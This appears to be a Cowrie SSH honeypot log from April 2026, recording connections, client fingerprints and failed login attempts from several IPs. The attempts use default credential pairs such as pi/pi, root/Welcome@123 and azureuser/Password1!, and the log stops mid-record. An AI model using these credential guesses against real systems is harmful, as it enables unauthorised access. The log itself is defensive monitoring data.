{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:12.948671Z","src_ip":"192.109.200.78","session":"4c1c834704ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:13.197461Z","src_ip":"192.109.200.78","session":"4c1c834704ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50344,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1c016ad7e25","protocol":"ssh","message":"New connection: 80.94.92.186:50344 (159.203.135.109:22) [session: e1c016ad7e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:14.108116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:14.112978Z","src_ip":"80.94.92.186","session":"e1c016ad7e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:14.221656Z","src_ip":"80.94.92.186","session":"e1c016ad7e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:14.282269Z","src_ip":"192.109.200.78","session":"4c1c834704ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:14.634370Z","src_ip":"80.94.92.186","session":"e1c016ad7e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:15.858329Z","src_ip":"80.94.92.186","session":"e1c016ad7e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50130,"dst_ip":"159.203.135.109","dst_port":22,"session":"103d94aa425f","protocol":"ssh","message":"New connection: 192.109.200.78:50130 (159.203.135.109:22) [session: 103d94aa425f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:16.827518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:16.833206Z","src_ip":"192.109.200.78","session":"103d94aa425f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:16.915998Z","src_ip":"192.109.200.78","session":"103d94aa425f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:17.164049Z","src_ip":"192.109.200.78","session":"103d94aa425f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:18.288508Z","src_ip":"192.109.200.78","session":"103d94aa425f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42188,"dst_ip":"159.203.135.109","dst_port":22,"session":"a388543d861f","protocol":"ssh","message":"New connection: 192.109.200.78:42188 (159.203.135.109:22) [session: a388543d861f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:20.772856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:20.777709Z","src_ip":"192.109.200.78","session":"a388543d861f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:20.859519Z","src_ip":"192.109.200.78","session":"a388543d861f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:21.109906Z","src_ip":"192.109.200.78","session":"a388543d861f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:22.194685Z","src_ip":"192.109.200.78","session":"a388543d861f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":35682,"dst_ip":"159.203.135.109","dst_port":22,"session":"4162f4c0d5af","protocol":"ssh","message":"New connection: 170.79.37.88:35682 (159.203.135.109:22) [session: 4162f4c0d5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:23.189434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:23.194021Z","src_ip":"170.79.37.88","session":"4162f4c0d5af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:23.298318Z","src_ip":"170.79.37.88","session":"4162f4c0d5af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtesttesttest","message":"login attempt [test/testtesttesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:23.747218Z","src_ip":"170.79.37.88","session":"4162f4c0d5af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42202,"dst_ip":"159.203.135.109","dst_port":22,"session":"451e100b465e","protocol":"ssh","message":"New connection: 192.109.200.78:42202 (159.203.135.109:22) [session: 451e100b465e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:24.713489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:24.719003Z","src_ip":"192.109.200.78","session":"451e100b465e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:24.802467Z","src_ip":"192.109.200.78","session":"451e100b465e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:24.856667Z","src_ip":"170.79.37.88","session":"4162f4c0d5af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:25.047942Z","src_ip":"192.109.200.78","session":"451e100b465e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:26.134686Z","src_ip":"192.109.200.78","session":"451e100b465e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":60494,"dst_ip":"10.17.0.5","dst_port":22,"session":"39349167a855","protocol":"ssh","message":"New connection: 177.54.62.66:60494 (10.17.0.5:22) [session: 39349167a855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:28.712301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:28.725221Z","src_ip":"177.54.62.66","session":"39349167a855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39734,"dst_ip":"159.203.135.109","dst_port":22,"session":"5121abdc1d30","protocol":"ssh","message":"New connection: 192.109.200.78:39734 (159.203.135.109:22) [session: 5121abdc1d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:28.844054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:28.849009Z","src_ip":"192.109.200.78","session":"5121abdc1d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:28.861623Z","src_ip":"177.54.62.66","session":"39349167a855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:28.935016Z","src_ip":"192.109.200.78","session":"5121abdc1d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:29.182595Z","src_ip":"192.109.200.78","session":"5121abdc1d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password1!","message":"login attempt [azureuser/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:29.435487Z","src_ip":"177.54.62.66","session":"39349167a855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:30.267632Z","src_ip":"192.109.200.78","session":"5121abdc1d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:30.572362Z","src_ip":"177.54.62.66","session":"39349167a855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51850,"dst_ip":"159.203.135.109","dst_port":22,"session":"f820c95b40aa","protocol":"ssh","message":"New connection: 159.203.92.129:51850 (159.203.135.109:22) [session: f820c95b40aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:37.548220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:37.556414Z","src_ip":"159.203.92.129","session":"f820c95b40aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519